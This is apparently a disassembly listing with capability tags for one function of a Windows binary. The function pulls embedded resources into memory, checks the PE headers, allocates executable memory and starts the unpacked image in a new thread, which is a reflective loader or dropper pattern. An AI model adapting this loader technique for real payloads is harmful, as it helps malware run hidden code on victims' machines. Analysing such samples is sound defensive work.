Function at 0x404500
Capabilities:
Allocate or change rwx memory
Create thread
Extract resource via kernel32 functions
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 0
push 0
call fcn.00433d59
add esp, 8
mov edi, eax
xor eax, eax
xor ebx, ebx
mov dword [ebp - 4], eax
push 0x465048
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x404756
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x404756
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
xor ecx, ecx
add eax, ebx
setb cl
neg ecx
or ecx, eax
push ecx
push edi
call fcn.00433d59
mov edi, eax
add esp, 8
test edi, edi
je 0x404756
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
lea eax, [ebx + edi]
push eax
call fcn.00429560
add esp, 0xc
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add ebx, eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
add eax, 0x3e8
push 0x465048
movzx eax, ax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x404540
cmp dword [ebp - 4], eax
je 0x404756
test ebx, ebx
je 0x404756
mov dword [ebp - 4], eax
mov edx, ebx
lea eax, [ebp - 4]
mov ecx, edi
push eax
call fcn.00404770
mov edi, eax
add esp, 4
test edi, edi
je 0x404740
mov eax, dword [ebp - 4]
test eax, eax
je 0x404740
mov dword [ebp - 0x28], eax
mov eax, 0x5a4d
mov dword [ebp - 0x20], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x24], edi
cmp word [edi], ax
jne 0x404763
mov esi, dword [edi + 0x3c]
add esi, edi
mov dword [ebp - 0x20], esi
cmp dword [esi], 0x4550
jne 0x404763
lea eax, [esi + 0xc0]
mov dword [ebp - 0x18], eax
lea ebx, [esi + 0x80]
mov dword [ebp - 0x1c], ebx
lea edx, [esi + 0xa0]
mov dword [ebp - 0x14], edx
lea ecx, [esi + 0x90]
mov dword [ebp - 0x10], ecx
lea eax, [esi + 0xf8]
mov dword [ebp - 8], eax
test esi, esi
je 0x404763
test ebx, ebx
je 0x404763
lea ebx, [esi + 0xc0]
test ebx, ebx
je 0x404763
test edx, edx
je 0x404763
test ecx, ecx
je 0x404763
test eax, eax
je 0x404763
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x4046d6
push 0x40
push 0x3000
push dword [esi + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x404763
movups xmm0, xmmword [ebp - 0x2c]
mov esi, dword [ebp - 8]
sub esp, 0x24
mov eax, esp
mov edx, ebx
mov ecx, edi
movups xmmword [eax], xmm0
movups xmm0, xmmword [ebp - 0x1c]
movups xmmword [eax + 0x10], xmm0
mov dword [eax + 0x20], esi
call fcn.00406050
add esp, 0x24
mov dword [ebp - 8], eax
test eax, eax
je 0x404763
push dword [esi + 0xc]
push 0
push ebx
call fcn.00429ae0
push edi
call fcn.004385d6
add esp, 0x10
push 0
push 0
push 0
push dword [ebp - 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x404763
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str._x__DATA_COULD_NOT_BE_VERIFIED_n
call fcn.00401350
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str._x__DATA_DOES_NOT_EXIST_n
call fcn.00401350
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret